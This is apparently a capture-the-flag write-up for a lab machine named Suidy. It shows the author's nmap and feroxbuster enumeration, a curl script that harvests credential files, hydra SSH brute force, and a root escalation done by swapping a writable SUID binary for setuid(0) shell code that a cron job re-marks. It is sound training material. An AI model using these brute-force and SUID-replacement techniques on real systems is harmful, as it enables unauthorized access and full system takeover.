HMV Suidy
This is a Linux machine with SSH and Web services enabled. By inspecting the robots.txt file, we
discovered a special directory named shehatesme, which provided hints for a batch of
username/password credentials. We used these credentials to brute-force SSH access and successfully
gained an initial foothold on the system.
Based on a hint from the machine's name, we searched for files which the SUID bit set and found a
root-owned executable called suidyyyyy. However, this binary could not be directly exploited. In
fact, it calls setuid(1001) to switch to another user before spawning a bash shell.
Fortunately, the initial user we compromised, theuser, belongs to a group that has write permissions
on this file. Using pspy, we discovered that the root user runs a cron job every minute to reapply
the SUID bit to this file. Taking advantage of this, we compiled our own executable containing
setuid(0);system("/bin/bash"); and replaced the original suidyyyyy binary with it. After waiting for
the cron job to restore the SUID bit, we executed the modified binary and successfully obtained a
root shell.
Summary
Scope
- Name: Suidy
- Difficulty: Easy
- OS: Linux
- IP: Local VM
Learned
- Sometimes
robots.txtcould leak secrets.
Enumeration
Nmap
Overall
# Nmap 7.98 scan initiated Tue Mar 3 11:30:47 2026 as: nmap -sT --min-rate 3000 -p- -oN overall 192.168.1.103 Nmap scan report for 192.168.1.103 Host is up (0.00016s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http # Nmap done at Tue Mar 3 11:30:51 2026 -- 1 IP address (1 host up) scanned in 4.39 seconds
Detail
# Nmap 7.98 scan initiated Tue Mar 3 11:31:17 2026 as: nmap -sC -sV -O -vv -p22,80 -oN detail 192.168.1.103 Nmap scan report for 192.168.1.103 Host is up, received arp-response (0.00044s latency). Scanned at 2026-03-03 11:31:21 CST for 7s PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 8a:cb:7e:8a:72:82:84:9a:11:43:61:15:c1:e6:32:0b (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4YhI83WArQiDfcO80GMcc4DUDFQhmC4IKFDhVK7bxC9+pYtaUygCXDTZSLoX5BXnnvtbfF+wYT7MVIGxj39znToblF2I3vcJ2GZEt96KcyT4RshL18HKS79VT7TC5whrh/PhY8GNb2Xn5ignDCMFaH+RCwg9mWp+Yiu9r8svmsMFhxM48y7DVn1vlBrcx1HAns8fA+tA0OtXOsmuFKnh/jymMUOYfhSEvdHGsK4CpeSEJa3JVIJULe9mwHViuCmT7O0EUjLcZmIef04GnVSXKL3xugYWN0HXQkQvxMP2v2KgaxT7AfUYKbPSEZnmLng4VpAOmKdYLEdUvyzVhz/9J | 256 7a:0e:b6:dd:8f:ee:a7:70:d9:b1:b5:6e:44:8f:c0:49 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBNmp0dgK7l7S9NTd1XRhz4/2CKDn+uA0o9g87Z1lpOKEap9UTQ9RjxYGu9L22LKWyj+Sb1sm/P5AU5zyT4VWhE= | 256 80:18:e6:c7:01:0e:c6:6d:7d:f4:d2:9f:c9:d0:6f:4c (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGAC9758/9c/Hgq5Bc/VNn4Bf4DgrAw2Nr4ZT0k8PiI8 80/tcp open http syn-ack ttl 64 nginx 1.14.2 | http-methods: |_ Supported Methods: GET HEAD |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.14.2 MAC Address: 08:00:27:E2:7C:7B (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19 TCP/IP fingerprint: OS:SCAN(V=7.98%E=4%D=3/3%OT=22%CT=%CU=31997%PV=Y%DS=1%DC=D%G=N%M=080027%TM= OS:69A65610%P=x86_64-pc-linux-gnu)SEQ(SP=FC%GCD=1%ISR=102%TI=Z%CI=Z%II=I%TS OS:=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M OS:5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE OS:88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A= OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q OS:=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A OS:%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y OS:%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T OS:=40%CD=S) Uptime guess: 8.046 days (since Mon Feb 23 10:25:11 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=252 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Mar 3 11:31:28 2026 -- 1 IP address (1 host up) scanned in 11.71 seconds
UDPScan
# Nmap 7.98 scan initiated Tue Mar 3 11:31:32 2026 as: nmap -sU --top-ports 32 -oN udpscan 192.168.1.103 Nmap scan report for 192.168.1.103 Host is up (0.00048s latency). PORT STATE SERVICE 53/udp open|filtered domain 67/udp open|filtered dhcps 68/udp open|filtered dhcpc 69/udp closed tftp 111/udp open|filtered rpcbind 123/udp closed ntp 135/udp closed msrpc 136/udp open|filtered profile 137/udp open|filtered netbios-ns 138/udp open|filtered netbios-dgm 139/udp open|filtered netbios-ssn 161/udp closed snmp 162/udp closed snmptrap 445/udp closed microsoft-ds 500/udp open|filtered isakmp 514/udp closed syslog 520/udp open|filtered route 631/udp open|filtered ipp 996/udp closed vsinet 997/udp open|filtered maitrd 998/udp closed puparp 999/udp closed applix 1434/udp open|filtered ms-sql-m 1701/udp open|filtered L2TP 1812/udp closed radius 1900/udp open|filtered upnp 3283/udp closed netassistant 4500/udp closed nat-t-ike 5353/udp open|filtered zeroconf 49152/udp open|filtered unknown 49153/udp open|filtered unknown 49154/udp closed unknown MAC Address: 08:00:27:E2:7C:7B (Oracle VirtualBox virtual NIC) # Nmap done at Tue Mar 3 11:31:47 2026 -- 1 IP address (1 host up) scanned in 15.03 seconds
Web
First I try web enumeration with feroxbuster and only get one target: robots.txt.
200 GET 3l 5w 22c http://192.168.1.103/ 200 GET 324l 3w 362c http://192.168.1.103/robots.txt
If we access this robots.txt, we will discover that it leak a special directory at last line of it.
/hi /....\..\.-\--.\.-\..\-. # here I omit plenty of empty lines /shehatesme
And then the special file shehatesme.txt will hint us there are plenty of credentials.
She hates me because I FOUND THE REAL SECRET! I put in this directory a lot of .txt files. ONE of .txt files contains credentials like "theuser/thepass" to access to her system! All that you need is an small dict from Seclist!
After filter out txt extension for common.txt wordlist, I get a list of file that fills with
credentials.
❰curtain❙~/workspace/shooting/hmvm/suidy❱✔≻ feroxbuster -u http://192.168.1.103/shehatesme/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 64 -x txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.13.1 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.1.103/shehatesme 🚩 In-Scope Url │ 192.168.1.103 🚀 Threads │ 64 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.13.1 💉 Config File │ /home/curtain/.config/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [txt] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 7l 12w 169c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 301 GET 7l 12w 185c http://192.168.1.103/shehatesme => http://192.168.1.103/shehatesme/ 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/2001.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/about.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/admin.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/art.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/blog.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/es.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/faqs.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/folder.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/forums.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/full.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/google.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/guide.txt 200 GET 6l 42w 229c http://192.168.1.103/shehatesme/index.html 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/issues.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/java.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/jobs.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/link.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/network.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/new.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/other.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/page.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/privacy.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/search.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/secret.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/smilies.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/space.txt 200 GET 1l 1w 16c http://192.168.1.103/shehatesme/welcome.txt
Then I write a simple shell script to download them all.
#!/bin/bash
BASE_URL="http://192.168.1.103/shehatesme"
TARGET_DIR="shehatesme"
mkdir -p "$TARGET_DIR"
files=(
2001.txt
about.txt
admin.txt
art.txt
blog.txt
es.txt
faqs.txt
folder.txt
forums.txt
full.txt
google.txt
guide.txt
issues.txt
java.txt
jobs.txt
link.txt
network.txt
new.txt
other.txt
page.txt
privacy.txt
search.txt
secret.txt
smilies.txt
space.txt
welcome.txt
)
for file in "${files[@]}"; do
echo "[+] Downloading $file ..."
curl -s -o "$TARGET_DIR/$file" "$BASE_URL/$file"
done
echo "[+] All files downloaded."
I use following command to split out username and password for hydra.
cat shehatesme/* | sort | uniq | cut -d/ -f1 > user.txt
cat shehatesme/* | sort | uniq | cut -d/ -f2 > pass.txt
Last but not least, don't forget the theuser/thepass credential that provided by shehatesme.
Foothold
SSH
I try brute-force SSH service with that credentials, and then it successful gains the correct one.
❰curtain❙~/workspace/shooting/hmvm/suidy❱✔≻ hydra -L user.txt -P pass.txt 192.168.1.103 ssh -t 4 [DATA] max 4 tasks per 1 server, overall 4 tasks, 81 login tries (l:9/p:9), ~21 tries per task [DATA] attacking ssh://192.168.1.103:22/ [STATUS] 79.00 tries/min, 79 tries in 00:01h, 2 to do in 00:01h, 4 active [22][ssh] host: 192.168.1.103 login: theuser password: thepass 1 of 1 target successfully completed, 1 valid password found
Privilege Escalation
Based on a hint from the machine's name, we searched for files which the SUID bit set and found a
root-owned executable called suidyyyyy.
theuser@suidy:~$ find / -mount -perm -u=s 2>/dev/null /home/suidy/suidyyyyy /usr/bin/su /usr/bin/umount /usr/bin/mount /usr/bin/gpasswd /usr/bin/chfn /usr/bin/newgrp /usr/bin/passwd /usr/bin/chsh /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device theuser@suidy:~$ ls -l /home/suidy/ total 24 -r--r----- 1 suidy suidy 197 sep 26 2020 note.txt -rwsrwsr-x 1 root theuser 16704 sep 26 2020 suidyyyyy
Download that binary and load it with IDA will get this:
int __fastcall main(int argc, const char **argv, const char **envp)
{
setuid(1001u);
setgid(1001u);
system("/bin/bash");
return 0;
}
So this binary cann't be exploited directly. And I notice that I(theuser) can write this binary. So I can replace it with something like this:
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
But replacement will clear the SUID bit which will cause setuid failed. Then the problem become how
to restore the SUID bit after replacement? The cronjob may help us. I use pspy for that purpose.
And luckily, I notice that the root user runs a cron job every minute to reapply the SUID bit to
this file.
2026/03/03 05:59:39 CMD: UID=0 PID=1 | /sbin/init 2026/03/03 06:00:01 CMD: UID=0 PID=748 | /usr/sbin/CRON -f 2026/03/03 06:00:01 CMD: UID=0 PID=749 | /usr/sbin/CRON -f 2026/03/03 06:00:01 CMD: UID=0 PID=750 | /bin/sh -c sh /root/timer.sh 2026/03/03 06:00:01 CMD: UID=0 PID=751 | sh /root/timer.sh 2026/03/03 06:00:01 CMD: UID=0 PID=752 | chmod +s /home/suidy/suidyyyyy
So replace the original binary with setuid(0) and wait SUID bit reapply again, then I get the root shell.
theuser@suidy:/tmp$ ls -l /home/suidy/suidyyyyy -rwsrwsr-x 1 root theuser 16712 mar 3 05:59 /home/suidy/suidyyyyy theuser@suidy:/tmp$ /home/suidy/suidyyyyy root@suidy:/tmp# id uid=0(root) gid=0(root) grupos=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(theuser) root@suidy:/tmp# cd /root root@suidy:/root# ls root.txt timer.sh root@suidy:/root# cat timer.sh #!/bin/sh chmod +s /home/suidy/suidyyyyy